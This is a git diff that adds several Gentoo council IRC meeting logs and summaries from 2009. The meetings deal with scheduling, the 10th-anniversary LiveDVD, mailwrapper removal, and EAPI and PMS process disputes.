+21:17 <@Betelgeuse> Otherwise once a month is problematic to get things done.
+21:17 <@Betelgeuse> works for me
+21:17 <@dertobi123> wfm, too
+21:17 <@Calchan> Betelgeuse, we don't have to wait fo rthe meeting to get anything done though
+21:18 <@Betelgeuse> Calchan: yes sure
+21:18 <@leio> once a month is fine, given more mailing list activity. Same time is fine for me (at least while its summer time)
+21:18 <@Betelgeuse> Calchan: but we need to change from past behavior
+21:19 <@leio> or actually we can discuss more in this channel too outside meetings.
+21:19 <@ulm> that would be the third monday every month, ri
+21:19 <@ulm> ght?
+21:19 <@Calchan> leio, email is best because backlogs disappear
+21:19 <@solar> If something comes up that calls for a vote of something before the monthly meeting. I would have no objection for a quick get together. Or if we handle it via email it needs to be made very clear we are voting
+21:20 <@leio> Calchan: realtime discussion to prep something for e-mail vs more official records, etc, yeah
+21:20 <@Calchan> solar, have we reached a decision on 4.1?
+21:21 <@solar> ok so it seems like we reached a consensus on 4.1.2
+21:21 <@solar> that this time works good for everybody (cept maybe lu_zero?)
+21:21 <@Calchan> solar, I didn't say it would work for me all the time
+21:22 <@Calchan> hence 4.2
+21:22 <@Calchan> sorry, 4.3
+21:22 <@solar> 4.3) I would rather not. By default I think we should assume it's exactly 4 weeks from the last one.
+21:23 <@solar> however. I will be on vacation then next month
+21:24 <@Calchan> solar, I can't promise I'm available on mondays or any other days, so dertobi123's doodle poll made sense in my case
+21:24 <@dertobi123> we should have a default meeting time.
+21:24 <@leio> so you mean every 4 weeks but possibly changing day within the week..?
+21:24 <@Calchan> k on a default though
+21:24 <@dertobi123> if the default doesn't work -> announce it *early* and we can arrange to find a better date
+21:25 <@Betelgeuse> indeed
+21:25 <@solar> I'm in favor of 1100PST/1800UTC
+21:25 <@Calchan> dertobi123, ok with that, what is early?
+21:25 <@dertobi123> solar: me too
+21:25 <@dertobi123> 18utc on mondays seems to work in general for everyone
+21:25 <@dertobi123> so i'd prefer to switch just the weeks
+21:25 <@dertobi123> and stick to mondays
+21:26 <@dertobi123> if that doesn't work too - well, we should be able to arrange something different then
+21:26 <@dertobi123> Calchan: and early is something like "at least 10 days before the default meeting date"
+21:26 <@Calchan> dertobi123, will try
+21:26 <@leio> (I think per GLEP39 we still have proxies and slacker marks)
+21:27 <@leio> (but accommodating when possible and early enough sounds ok)
+21:28 <@solar> 5. Wrap up, comments, open questions.
+21:29 <@solar> now seems a good time to remove the +m ?
+21:29 -!- mode/#gentoo-council [-m] by solar
+21:29 <@leio> ok, so did we go with "We meet monthly on mondays 18.00 UTC and with at least 10 day notice a doodle poll can be arranged for a different time" or should we vote on that, and is monthly every 4 weeks or every n'th week of the month
+21:30 <@dertobi123> leio: we go with that, yeah. every 4 weeks by default
+21:30 < igli> I'd just like to say I'm impressed: I've never seen an executive group not vote more power to themselves. Also, please bear in mind that users find -council ML intimidating to post to. previous councils have been quite clear on keeping it to discussion around meetings and for external, not wider issues within community; there was -dev, now there's -project too. And it's much easier (less flames) to move it from -project to -dev than the other way round.
+21:30 <+jmbsvicetto> About my mail, I've left out proxies and slacker marks as I'd like to see other opinions before making a proposal - I think we can even left that open for the vote
+21:31 < fmccor|home> Thanks.  As some of you know, I have strong feelings about GLEP39 --- we (the developers) did choose it from a list of several alternatives.
+21:31 <@solar> note that every for weeks as pointed out might not be ideal as saying every First/Last week of the month.
+21:31 <@solar> four
+21:31 <@Betelgeuse> Last week is fine by me.
+21:31 <@dertobi123> solar: we should announce the default meeting time at the end of each meeting plus in the summary.
+21:32 <@dertobi123> and then it doesn't matter which week it is
+21:32 <+jmbsvicetto> The 4 weeks problem is summed up as 52/4 = 13 ;)
+21:32 <@solar> Oh one last thing. Who wants to do the summary for the this meeting?
+21:32 <@Calchan> sorry, I had lost my screen due to internet issues, consider me out now
+21:33 <@Calchan> I'll post comments on the meeting to the alias later
+21:33 <@leio> I can do the summary draft
+21:33 <@solar> thank you
+21:33 <@dertobi123> ok, next meeting on august 17th?
+21:34 <@ulm> fine with me
+21:34 <@leio> fine
+21:34 <@Betelgeuse> fine
+21:34 <@solar> no objections
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090817-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090817-summary.txt
new file mode 100644
index 00000000..387d59cb
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090817-summary.txt
@@ -0,0 +1,16 @@
+Roll Call:
+===========
+Betelgeuse: absent
+Calchan: here
+dertobi123: here 
+leio: here
+lu_zero: absent, slacker mark
+solar: absent, proxied by ssuominen
+tanderson(secretary): here
+ulm: here
+
+There was no agenda for this meeting. However solar suggested that we discussed
+the tenth anniversary effort although without any specific intention.
+
+The council talked generally about the 10th anniversary release but no
+decisions or plans to move forward were made.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090817.txt b/xml/htdocs/proj/en/council/meeting-logs/20090817.txt
new file mode 100644
index 00000000..3d24dfd6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090817.txt
@@ -0,0 +1,211 @@
+13:58 < ssuominen> It's 1800 UTC?
+13:59 <@leio> in 2 minutes, yes
+13:59 <@dertobi123> not yet
+13:59  * ssuominen runs ntpdate
+14:00 <+tanderson> now it is
+14:00 < ahf> hah.
+14:00 <+tanderson> ahf: did I get it at :00 ? :)
+14:00 < ahf> you did.
+14:00 <@leio> Ok. Who's chairing?
+14:01 -!- gwendely [n=Administ@4103ds5-ynoe.0.fullrate.dk] has joined #gentoo-council
+14:02 <@leio> lets start with a rollcall then first..
+14:03 <@Calchan> here
+14:03 < ssuominen> here (proxying solar)
+14:03 <@ulm> \o/
+14:03 <@dertobi123> <- here
+14:04 < ssuominen> I never saw an agenda for this meeting. There's none?
+14:04 <@dertobi123> there's none
+14:04 < ssuominen> nod
+14:04 <@dertobi123> besides the request to discuss "10 years gentoo"
+14:05 <@Calchan> isn't anybody shamed?
+14:05 <@leio> lu_zeor/lu_zero, betelgeuse?
+14:05 <@dertobi123> and if zmedico is around - i'd happy to get a status update of eapi-3 implementation in portage :)
+14:05 <@Calchan> because I know I am
+14:05 < ssuominen> well, latest about 10.0 livecd's (from what I know)
+14:05 <@dertobi123> +be
+14:05 < ssuominen> 00:37 <likewhoa> updates now are about 40 new packages and kernel changes for both x86/amd64, plan on adding multiple kernel images to the isos and  hybridiso option for the image next.
+14:05 < ssuominen> likewhoa won't be back until friday from his trip to work on the cd's
+14:06 -!- Poly-C_atwork [n=Poly-C@gentoo/developer/Polynomial-C] has quit [Read error: 104 (Connection reset by peer)]
+14:06 < likewhoa> Calchan: why the shame?
+14:06 <@dertobi123> likewhoa: because we did suck on putting an agenda together
+14:06 <@dertobi123> which we wanted to do a week beforehand
+14:06 < likewhoa> dertobi123: agreed
+14:06 < ssuominen> likewhoa: good, you're around :)
+14:07 <@Calchan> not only that, we did suck at doing anything since last meeting
+14:07 < likewhoa> ssuominen: just got here as leio said 'lets start'
+14:07 <@ulm> Calchan: it's holiday season though
+14:08 < ssuominen> yeah, it's quiet as usual this time of year
+14:08 <@ulm> but that's no real excuse
+14:08  * likewhoa agrees
+14:08 <@dertobi123> we should appoint someone who does make sure we have an agenda for next meeting (one week beforehand)
+14:08 < likewhoa> on at being not an excuse that is
+14:09 <@dertobi123> if noone else wants to - i can do that
+14:09 <@ulm> dertobi123++
+14:09 <@leio> I did some poking around at some projects I deem council related, but nothing noteworthy indeed, work deadlines and high priority other gentoo work in case of me
+14:10 <@leio> I was going to propose making some responsible for the next meeting as well, and always so. I think we briefly discussed that last time too?
+14:10 <@dertobi123> likewhoa: you have the specs in some public repository? any images to test around somewhere?
+14:10 <@dertobi123> we should make sure that cd will be tested as much as possible
+14:11 < likewhoa> dertobi123: I put up some images at http://weboperative.com/gentoo/downloads/livecds
+14:11 < ssuominen> Would something as marking 2008.0 profiles deprecated and instructing users to move into 10.0 ones at the same day when new LiveCD's are out something that needs councils attention?
+14:11 <@dertobi123> whee? installer?
+14:11 < likewhoa> and specs are at svn co svn://anonsvn.gentoo.org/releng/trunk/releases/10.0
+14:11 <@dertobi123> cool :)
+14:12 < likewhoa> dertobi123: well they will be livedvds, but initially was working on the livecd specs
+14:12 <@leio> ssuominen: maybe. I personally wouldn't want casual users moving over earlier than the release though
+14:12 <@leio> likewhoa: feel free to contact me about any GNOME related things, I'd like to see that top notch there
+14:12 < ssuominen> leio: people have already started moving, i don't see anything bad in that
+14:12 < likewhoa> dertobi123: currently new changes have not been committed but I do have a request for some testers.
+14:13 < ssuominen> i guess it's more of covering my own ass by requesting councils support for that move (dropping in the deprecated file to all arch's 2008.0 profiles when the livecds are out)
+14:13 <@dertobi123> ssuominen: i very much dislike marking the 2008.0 as deprecated that soon
+14:13 < likewhoa> leio: well desktop is xfce but I could use some testers for any gnome apps that might be on there. :)
+14:13 < ssuominen> ;)
+14:13 <@leio> ssuominen: I mostly have profile reorganizations in mind, changing some things potentially drastically (e.g my gnome profile mail)
+14:14 <@leio> likewhoa: it should be GNOME, it was made to be xfce for space reasons, which I believe are solved by now, or can be solved on time
+14:14 <@leio> (in 2008.0)
+14:14 <@dertobi123> ssuominen: haven't checked yet, but mailwrapper isn't use.default'ed anymore, right?
+14:14 < ssuominen> remi wanted to unmask new xcb in 10.0 ones (from package.mask) and there's make.defaults change that USE=qt3 and USE=esd isn't default anymore
+14:14 < ssuominen> otherwise they are identical
+14:14  * leio thinks we are a bit uncoordinated here
+14:14 < ssuominen> dertobi123: see above reasoning ^
+14:15 < likewhoa> leio: well solar mentioned he wanted it to be a livedvd since it will be circulated on some IT magazines, hence why I started to add new packages. I guess we need to discuss this with him.
+14:15 <@dertobi123> ssuominen: you want a bug report to remove mailwrapper or can you just commit that "fix"? :)
+14:16 <@dertobi123> leio: we are - basically because we lack an agenda
+14:16 < ssuominen> dertobi123: i'm not familiar with that issue in fact, you dropped that like a bomb ;)
+14:16 < likewhoa> leio: I have no problem using gnome.
+14:16 <@dertobi123> i'd prefer to have both kde and gnome and to make users able to choose what they want to use ;)
+14:16 < ssuominen> targets/server/make.defaults has make.defaults of mailwrapper
+14:17 < ssuominen> *use default
+14:17 <@ulm> maybe it would be a good thing to have a tracker bug for the livecd/dvd package set
+14:17 <@leio> likewhoa: lets discuss that later in my GNOME team capacity, I pretty much hear about you the first time now
+14:17 <@dertobi123> ulm: yep
+14:18 < likewhoa> leio: ok
+14:18 <@leio> yeah, KDE too on LiveDVD case makes perfect sense. We need all of the desktops on there work good though, which is a good motivation to get it into good shape for non-installer regular use as well. Release as a QA motivator
+14:19 <@ulm> and we need Emacs of course ;)
+14:19 <@ulm> which is not on any install media currently
+14:19 <@dertobi123> and we need a bug to track those requests ;)
+14:19 <@ulm> yes ;)
+14:19 <@Calchan> has anybody talked to releng about this new livecd/dvd?
+14:20 <@leio> by my understanding solar has
+14:20 <@leio> ssuominen?
+14:21 < ssuominen> yes, solar has, and agaffney should be informed as well
+14:21 < tove> "request to discuss "10 years gentoo"" -- does it only mean a new release? was it on any mailinglist?
+14:21 < ssuominen> (the profiles was created by my, solar and agaffney's consensus)
+14:21 < ssuominen> for the release
+14:22 < ssuominen> dertobi123: there's dozens of ebuilds using mailwrapper in IUSE, i'd very much like to get more information on that move :)
+14:23 <@dertobi123> ssuominen: plain simple: doesn't work, lots of bugs, deprecated.
+14:23 < likewhoa> I need a way to know which users will be available to test the iso images as they are made. What can be done?
+14:23 < ssuominen> dertobi123: in short: the IUSE should be removed from affected ebuilds and mailwrapper masked for removal?
+14:24 <@dertobi123> ssuominen: that's a partially happening for quite some time, i've been slacking on getting mailwrapper removed for quite some time though ;)
+14:24 < ssuominen> dertobi123: i can pull some treecleaning strings ;P
+14:24 <@dertobi123> likewhoa: what about including smolt-gentoo and collecting hardware-profiles from the test images?
+14:25 <@dertobi123> likewhoa: if you need testers some forums announcement or just a thread in the forums is a good start to get "a few" testers :)
+14:25 < ssuominen> sticky forums thread
+14:26 < likewhoa> I also like to make a request on #gentoo's topic mentioning the upcoming "screenshot contest" we could use more exposure on that.
+14:27 <@dertobi123>  #gentoo's topic isn't something the council needs to discuss
+14:27 < bonsaikitten> likewhoa: mention it in #-ops, we should find some space in /topic
+14:28 < likewhoa> dertobi123: I might need to talk to you about your last request as I am not that familiar with smolt usage, but I'll look into it myself before hand.
+14:29 <@dertobi123> seeing that we have only about 6 or 7 weeks left until our 10th birthday, what about weekly status updates on the -dev lists?
+14:29 <@dertobi123> likewhoa: sebastian pipping is working on that (summer of code project), see the -dev list or just mail him :)
+14:29 < likewhoa> i will
+14:30 < likewhoa> I won't be active until this coming friday, but I have lots of updates for the spec file and new images.
+14:31 <@leio> any other things the council should see happen for the 10th birthday, release related and any other plans or activities?
+14:33 <@dertobi123> birthday parties around the world would be cool - but not really having pr@g.o that's not realistic
+14:33 < likewhoa> I am not sure if catalyst will support multiple desktop environments and I am sure it won't support multiple kernels specially 32/64bit kernels and hybridiso to name a few. I will need to customize the image for those options and more.
+14:34 <@dertobi123> or talk to agaffney to get as much feature as possible into catalyst :)
+14:35 < likewhoa> I will :)
+14:35 < ssuominen> dertobi123: opened a bug for mailwrapper and punted it from make.defaults
+14:35 <@dertobi123> ssuominen: :]
+14:36 <@ulm> ssuominen: there's already bug 158003
+14:36 < Willikins> ulm: https://bugs.gentoo.org/158003 "Remove mailwrapper"; Gentoo Linux, Applications; NEW; wschlich@g.o:wschlich@g.o
+14:36 < ssuominen> utter fail
+14:36 <@dertobi123> args
+14:36  * ssuominen swears he did search
+14:37 <@dertobi123> heh
+14:37 <@dertobi123> my fault
+14:37  * dertobi123 hides
+14:37 <@leio> I'm sure council doesn't need to worry about these small things
+14:37 <@leio> regarding birthday parties, we should see what PR and dabbott think of it
+14:38 <@leio> (under small things, I mean specific bugs to get fixed by the release finalizing)
+14:39 <@leio> I plan to arrange something simple birthday-wise locally at least in my case
+14:39 < ssuominen> leio: true
+14:39 <@dertobi123> dito
+14:40 < likewhoa> Well I was planning on making a bunch of gentoo related screenshots, maybe something PR can work with me on.
+14:40 < likewhoa> s/screenshots/wallpapers/
+14:41 < likewhoa> maybe a 10 year roadmap 2010 calendar perhaps
+14:42 < ssuominen> We used to have the gentoo artwork project too, but nothing came out of it..
+14:42 < ssuominen> cla started it
+14:42 -!- impulze [n=impulze@eta-ori.net] has joined #gentoo-council
+14:42 < ssuominen> but might ask him still?
+14:43 < likewhoa> I'll ping him then
+14:45 <@leio> lets get this discussion going on mailing list too
+14:45 <@leio> I trust ssuominen and likewhoa will start appropriate threads as appropriate for points of discussion, right? :)
+14:46 < likewhoa> I'll let ssuominen start the initial thread.
+14:46 <@leio> and tracker bug
+14:47 < ssuominen> likewhoa: let's discuss shortly on query of the context of the thread (summarize above)
+14:47 < likewhoa> that too, just pm the bug # and i'll cc myself.
+14:47 < likewhoa> ok ssuominen
+14:47 <@leio> ok, what else birthday related?
+14:48 < likewhoa> leio: Whatever became of the new gentoo.org layout project? After 10 year we still have the same website.
+14:49 < likewhoa> sorry if this is not a related discussion.
+14:49 < ssuominen> the appropiate bugs to change gentoo docs are already open for 10.0 profile change, eselect profile usage, etc.
+14:49 < ssuominen> will link them to the tracker
+14:50 <@leio> I think there can be thread to ask what achievable could be done, and we should oversee things happening
+14:50 <@leio> Should we move on to any other topics? (open floor, etc)
+14:50 < ssuominen> yes
+14:51 <@leio> dertobi123: so you take responsibility for the next meetings agenda? (and then next meeting someone else can take it for the next one after that)
+14:51 <@dertobi123> leio: yep
+14:52 <@leio> Next question would be - When is the next meeting
+14:52 <@dertobi123> september 14th?
+14:53 <@leio> I had some vague thoughts of earlier meeting due to missing agenda, but there was an automated (but Thursday mention) e-mail with no replies, so September 14th sounds good for me too. Others?
+14:54 <@ulm> fine with me too
+14:54 <@Calchan> godd for me too
+14:54 <@Calchan> s/good/godd/
+14:54 -!- dertobi123 changed the topic of #gentoo-council to: Next meeting Monday September 14th 1800UTC.
+14:54 <@Calchan> or vice versa
+14:54 <@dertobi123> heh
+14:54 <@dertobi123> anything left for today?
+14:55 <@dertobi123> who can write a short summary?
+14:55 <@leio> do we have tanderson doing that?
+14:55 <+tanderson> leio: yes
+14:55 <@dertobi123> ok, cool
+14:55 <+tanderson> leio: I didn't see anything much to summarize though
+14:56 < Arfrever> Re implementation of EAPI="3" in Portage: There was almost no progress in the last month :) .
+14:56 <@leio> any idea when you can work on it? Now that we have meetings on Monday, weekend isn't that ideal
+14:56 <@dertobi123> Arfrever: arg :(
+14:56 < Arfrever> dertobi123: zmedico is busy with implementation of support for Python 3.*.
+14:56 < Philantrop> tanderson: "The council discussed anything coming to their mind vaguely related to the 10th anniversary." <-- here you are! ;-)
+14:57 < tove> "The decision was made to wait for lu_zero's vote by email.
+14:57 < tove> " -- did he?
+14:57 <+tanderson> Philantrop: not helpful
+14:57 < tove> wrt public or alias drafts
+14:58 <@dertobi123> tove: iirc no
+15:00 <@ulm> in spite of EAPI 3 being delayed, we should start working on the EAPI 4 feature list at some time
+15:01  * bonsaikitten stabs ulm a bit
+15:01 < bonsaikitten> we should work on deprecating obsolete EAPIs then too
+15:01 < Arfrever> I would like to request inclusion of support for multiple ABIs in EAPI="4".
+15:02 <@ulm> Arfrever: we shouldn't have the council discuss all the details, imho
+15:02 <@leio> at some time sounds good. Do we have a working group to "bless" to work on it at the beginning? :)
+15:03 <@ulm> leio: that's exactly what we need
+15:03 <+tanderson> leio: Calchan had some ideas about that iirc
+15:04 <@Calchan> read my manifesto
+15:05 <+tanderson> leio: did you mean "any idea when you can work on it" to me?
+15:06 <@leio> tanderson: yes
+15:06 <+tanderson> oh
+15:06 <+tanderson> I'll work on it over the week
+15:06 <+tanderson> I just used the weekend because it was simpler and it was only a 48 hour delay
+15:08 -!- bearsh [n=quassel@adsl-245-48-fixip.tiscali.ch] has quit ["No Ping reply in 90 seconds."]
+15:09 -!- bearsh [n=quassel@adsl-245-48-fixip.tiscali.ch] has joined #gentoo-council
+15:09 <@dertobi123> so, we're done?
+15:09 <@leio> regarding EAPI, I think if someone wants to kickstart the next one already without EAPI=3 being implemented in portage, I see the best course of action being to form a working group that the council can trust this work with and propose it on the mailing list or for the next meeting to discuss (mailing list should be quicker..). Any objections?
+15:10  * Calchan wonders where leio got that idea from
+15:10 <@leio> I don't know, disregard that
+15:12 <+tanderson> I'll volunteer,
+15:14 <@leio> it was my view of the most productive course of action, which was to propose something concrete to the council on mailing list to discuss or for the meeting, which to my knowledge is the normal course of action anyway, so that's where I got the idea from..
+15:15 <@leio> us being proactive is another choice, but ulm is a council member... or we can choose to block any EAPI-4 work until 3 is done..
+15:16 <@ulm> leio: of course eapi-3 should have priority, but we can't postpone work on 4 indefinitely
+15:18 <@leio> being proactive would also be assigning someone (perhaps a council member) with the task of EAPI-4 and go from there
+15:19 <+tanderson> why don't we have a general committee for these types of things(EAPI issues mainly)? (not my idea, but it's a good one)
+15:20 <@leio> We are well over an hour, should we close the open floor and meeting and continue post-meeting and mailing list?
+15:20 <@Calchan> I was under the impression we were done for a long time
+15:22 <@leio> fine, we are or were done...
+15:23 <@dertobi123> ok
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090914-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090914-summary.txt
new file mode 100644
index 00000000..f91be26d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090914-summary.txt
@@ -0,0 +1,39 @@
+Roll Call:
+===========
+Betelgeuse: here 
+Calchan: absent
+dertobi123: here 
+leio: here
+lu_zero: here
+solar: here
+tanderson(secretary):  absent, but logged it
+ulm: here
+
+Update on LiveCD/DVD for Gentoo 10.0.
+====================================
+    
+        Ned Ludd(solar) commmented that things were progressing fine. A new snapshot
+    will be taken on September 20th and the cutoff date will be the 4th of
+    October.
+
+A Way to Modify the PMS such that it doesn't directly involve the EAPI Process.
+===============================================================================
+
+        Joshua Jackson(tsunam) requested a decision on a process to modify PMS
+    without involving the EAPI Process.
+
+    There was discussion about whether PMS is a documenting simply documenting
+    the ebuild API or if it is a broader document covering the entire tree.
+    Agenda Item[1] 3.1 was deferred until the next meeting to be discussed on
+    mailing lists beforehand. 
+
+Discussion of the Need for a PMS/EAPI committee outside of the council.
+=======================================================================
+
+        Of the three proposals(An external committee consisting of package manager
+    representatives, a council member or two, and perhaps members of the PMS
+    project; Using the existing PMS project; Something completely different),
+    the council chose to do something complete different and what will be done
+    will be discussed on list or next meeting.
+
+[1]: http://archives.gentoo.org/gentoo-council/msg_96c702e85f79b8f5e22472ae2c961534.xml. 
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090914.txt b/xml/htdocs/proj/en/council/meeting-logs/20090914.txt
new file mode 100644
index 00000000..38b04fbf
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090914.txt
@@ -0,0 +1,262 @@
+18:00 <@lu_zero> =)
+18:00  * dertobi123 yawns
+18:01  * lu_zero yawns as well
+18:01 <@dertobi123> luca!
+18:01 <@lu_zero> quite an annoying monday ^^;
+18:02 <@lu_zero> dertobi123 I'm ALIVE!
+18:02 <@lu_zero> (sort of)
+18:02 <@dertobi123> great :)
+18:02 -!- mode/#gentoo-council [+m] by solar
+18:02 <@dertobi123> so, rollcall?
+18:02 <@ulm> here
+18:02 <@lu_zero> \o/
+18:03 <@solar> solar here. but might have to leave. see above note
+18:03 <@dertobi123> k
+18:04 <@dertobi123> leio, Betelgeuse, Calchan ... wake up!
+18:04 -!- arkanoid [n=arkanoid@exherbo/developer/arkanoid] has joined #gentoo-council
+18:05 <@ulm> sigh
+18:05 <@leio> sorry, I've been sick
+18:07 <@dertobi123> ok, agenda item 1.1: who's logging?
+18:08 <@leio> I'm always logging, fixed my clock now as well.
+18:08 <@dertobi123> ok
+18:08 <@dertobi123> for 1.2 we have Betelgeuse and Calchan missing
+18:09 <@leio> has the agenda been publicized?
+18:09 <@ulm> leio: see topic
+18:09  * dertobi123 sighs
+18:09  * leio looks at topic
+18:09 <@dertobi123> look at the topic, gentoo-council@g.o, dev-announce@g.o and council@g.o please
+18:10 <@leio> ok, I see, I just didn't see it in my client, because I apparently haven't opened mail client to filter it for the past days due to being ill, sorry
+18:11 <@dertobi123> so, who wants to chair this meeting?
+18:12 <@lu_zero> dertobi123 you would?
+18:13 <@dertobi123> if noone else does ... yeah
+18:13 <@dertobi123> any updates on 2.1 "everything on 10 years gentoo"?
+18:13 <@dertobi123> if you need voice please /msg
+18:14 -!- miknix [n=miknix@gentoo/developer/miknix] has quit [Client Quit]
+18:15 <@solar> it's been going fine. the 20th is our cutoff day and 4th is the bday
+18:16 <@dertobi123> solar: you're going to take a new snapshot on 20th or putting in security updates until then?
+18:17 <@Betelgeuse> i am online in a couple minutes
+18:18 <@Betelgeuse> phone now
+18:21 <@dertobi123> well, lets move on
+18:21 <@dertobi123> 3.1
+18:21 <@dertobi123> ciaranm answered this topic is obsolete
+18:21 -!- mode/#gentoo-council [+v tsunam_] by dertobi123
+18:21 <@Betelgeuse> need to setup better reminders
+18:21 <@dertobi123> tsunam_: can you confirm?
+18:22 <@dertobi123> (or ulm?)
+18:22 <@dertobi123> or Fauli?
+18:22 <@solar> tsunam/jmbsvicetto: ping ^
+18:22 <@solar> my understanding is userrel is not saying it's obsolete
+18:22 <@ulm> i haven't heard anything from them
+18:25  * dertobi123 sighs
+18:25 <@ulm> see http://bugs.gentoo.org/show_bug.cgi?id=273261#c18
+18:25 <@ulm> but I don't know if such a meeting took place
+18:25 <@dertobi123> so we do skip this one? any objections?
+18:26 <@dertobi123> if there's still something to discuss or decide we can do so via mail
+18:26 <@ulm> dertobi123: fauli has something to say
+18:26 -!- mode/#gentoo-council [-v Fauli] by dertobi123
+18:26 -!- mode/#gentoo-council [+v Fauli] by dertobi123
+18:26 <@dertobi123> args
+18:26 <@lu_zero> ^^
+18:26 <@dertobi123> yeah
+18:26 -!- mode/#gentoo-council [+v trelane] by solar
+18:26 <+Fauli> :)
+18:26 <@solar> trelane is asking to speak
+18:26 <@lu_zero> well that
+18:26 <@lu_zero> Fauli first
+18:27 <+Fauli> The only thing I wanted to add, that I neither have heard anything or any progress.
+18:27 <@dertobi123> ok, thanks Fauli
+18:27 <+tsunam_> I'm here sorry for my delay
+18:28 <+tsunam_> dertobi123: to answer the query. No this is not resolved, ciaran would just like to have it considered resolved
+18:28 <@dertobi123> so, is there any progress?
+18:29 <+tsunam_> that's pending the discussion on this matter
+18:29 <+tsunam_> dertobi123: however I'm not hopeful that there will be progress quite frankly. But that gets into my personal experiences with the management of the PMS project and I'll avoid bringing that into the matter as it serves no purpsoes in the discussion
+18:30 <+tsunam_> would help if I could type correctly however ~_~
+18:30 <@ulm> tsunam_: that will be addressed in 3.2
+18:30 <@lu_zero> =\
+18:30 <@lu_zero> trelane you wanted to add something
+18:30 <+tsunam_> to address this issue however, there is currently one method of change for anything currently
+18:31 <+tsunam_> that's an EAPI
+18:31 <+tsunam_> by the name its and Ebuild API
+18:31 <+tsunam_> there's things that have been added to be under the PMS standard that are not directly ebuilds
+18:32 <+trelane> (I'm deferring to tsunam_ to finish)
+18:32 <@Betelgeuse> pms = package manager spec
+18:32 <+tsunam_> following a guideline is appropriate for getting the approval however an EAPI has a far more rigorous(sp?) process for approval as it should
+18:32 <@Betelgeuse> not ebuild api
+18:33 <@ulm> the crucial question is if package.mask directories were established Portage behaviour before EAPI 0
+18:33 <@ulm> if yes then PMS should just be updated
+18:33 <@Betelgeuse> no
+18:33 <@ulm> if no then it should go into EAPI 4
+18:34 <@dertobi123> ulm: ack
+18:34 <@Betelgeuse> it's a vdry recent feature
+18:34 <+tsunam_> ulm: that's the issue I see is that EAPI is for ebuilds
+18:34 <+Fauli> tsunam_: But PMS specifies the surroundings, too.
+18:34 <+tsunam_> its shoehorning something into a system that its not really well served by
+18:34 <+Fauli> And profiles is a surrounding.
+18:34 <+tsunam_> Fauli: it does, and I'm not suggesting that PMS shouldn't
+18:35 <+tsunam_> Fauli: what I'm suggesting is that EAPI's are quite possibly not the best location for those surrounding items
+18:35 <+Fauli> Betelgeuse: Zac told on the bug that it was available in all 2.1 versions.
+18:35 <+trelane> Betelgeuse, Zac with specificity says it is not a very recent feature http://bugs.gentoo.org/show_bug.cgi?id=273261#c36
+18:35 <+Fauli> tsunam_: Where else?
+18:35 <@Betelgeuse> 2.1 is recent
+18:35 <+tsunam_> that there might and could/should be implemented a new method of modifications to those surrounding features
+18:36 <+Fauli> tsunam_: I see it differently, but this leads to far. Let's concentrate on this topic.
+18:37 <+tsunam_> Betelgeuse: branch 2.1 created 3 years ago
+18:37 <+tsunam_> Betelgeuse: not so recent
+18:37 <+trelane> Betelgeuse, package.* support has been existant since the 2.1 dev cycle
+18:38 <@leio> and when was EAPI-0 defined?
+18:38 <+trelane> leio, October of last year IIRC
+18:38 <@Betelgeuse> EAPI 0 is supposed to be very ancient portage
+18:38 <+tsunam_> Fauli: that's something to discuss the where...perhaps another mechinism within PMS
+18:39 <+tsunam_> Fauli/ALL: I don't wish to remove anything from PMS
+18:39 <+trelane> Betelgeuse, was a specific version ever set?  3 years is pretty ancient in software terms
+18:39 <+tsunam_> All I'm suggesting/wishing for is that there's consideration that EAPI's are not the best area for things that are surrounding and not directly related to Ebuild API
+18:39 <@Betelgeuse> I would write a long explanation if my phone allowed
+18:40 <@Betelgeuse> my laptop refuses to connect
+18:40 <@dertobi123> ok, to sum up: there's something to discuss which could (and should!) happen on a mailinglist
+18:40 <+Fauli> tsunam_: Profiles are directly linked to ebuilds as some syntax (package atoms) will be used there.
+18:40 <+Fauli> dertobi123: Propose one.
+18:40 <+tsunam_> leio: believe and don't quote me that PMS came into being about 2007, so the draft would of started about then as well
+18:41 <@dertobi123> -dev or -pms mailinglist, dev to reach more people
+18:41 <@dertobi123> Fauli: ^^
+18:41 <+Fauli> Ok.
+18:41 <+trelane> dertobi123, this has been discussed ad infinitum et ad nauseum on the bug referenced in tsunam_'s request and is now before the council for some sort of direction forward.
+18:41 <@ulm> tsunam_: December 2006 if I believe the git log
+18:42 <@ulm> but I don't know if that was already any usable version
+18:42 <@dertobi123> trelane: there's been lots of discussion, but no real suggestions for improvements
+18:43 <+tsunam_> dertobi123: because quite frankly any suggestion is soundly rejected
+18:43 <+tsunam_> because "there's EAPI" for that
+18:43 <@dertobi123> rejected by whom?
+18:43 <+trelane> dertobi123, I for one would like clarified ciaran's notion that EAPI's do amend the profiles/ portion of the tree.  There seems to be a great deal of confusion on this issue.
+18:43 <+trelane> dertobi123, Ciaran
+18:43 <+trelane> (hence that bug's existence)
+18:44 <@dertobi123> simply put it, it doesn't matter what ciaranm is rejecting
+18:44 <+trelane> dertobi123, then could he possibly stop rejecting it if he has no power to do so as it only muddies the issue?
+18:44 <@dertobi123> at least not for gentoo
+18:45 <+trelane> (by the way I think we're organically proceeding to 3.2 in this discussion here)
+18:45 <+tsunam_> I'd like to keep them seperate if possible
+18:45 <+tsunam_> as they are two different issues
+18:45 <@dertobi123> we're not going solve 3.1 today
+18:45 <@dertobi123> +to
+18:45 <+trelane> agreed, dertobi123 with the chair's permission I'd like to proceed to 3.2 (I think tsunam_ would as well), thus leaving 3.1 unresolved
+18:46 <@dertobi123> if there are no other objections, then lets move on to 3.2 - let's get 3.1 discussed on lists and on our agenda for our next meeting
+18:46 <@dertobi123> -other
+18:46 <+Fauli> Ok
+18:47 <@ulm> fine with me
+18:47 <@lu_zero> ok
+18:47 <@solar> ok
+18:47 <@dertobi123> ok, 3.2
+18:47 <+trelane> I'd like to start by discussing the background of 3.2 as it affects (effects?) the previously mentioned bug
+18:47 <@dertobi123> as 3.2 was proposed by ulm i'd like to hear from him first of all
+18:48 <@ulm> trelane: we've just decided the discussion on said bug is finished for this meeting
+18:48 <@ulm> dertobi123: see my message to -council, where I proposed 3.2.{1,2,3}
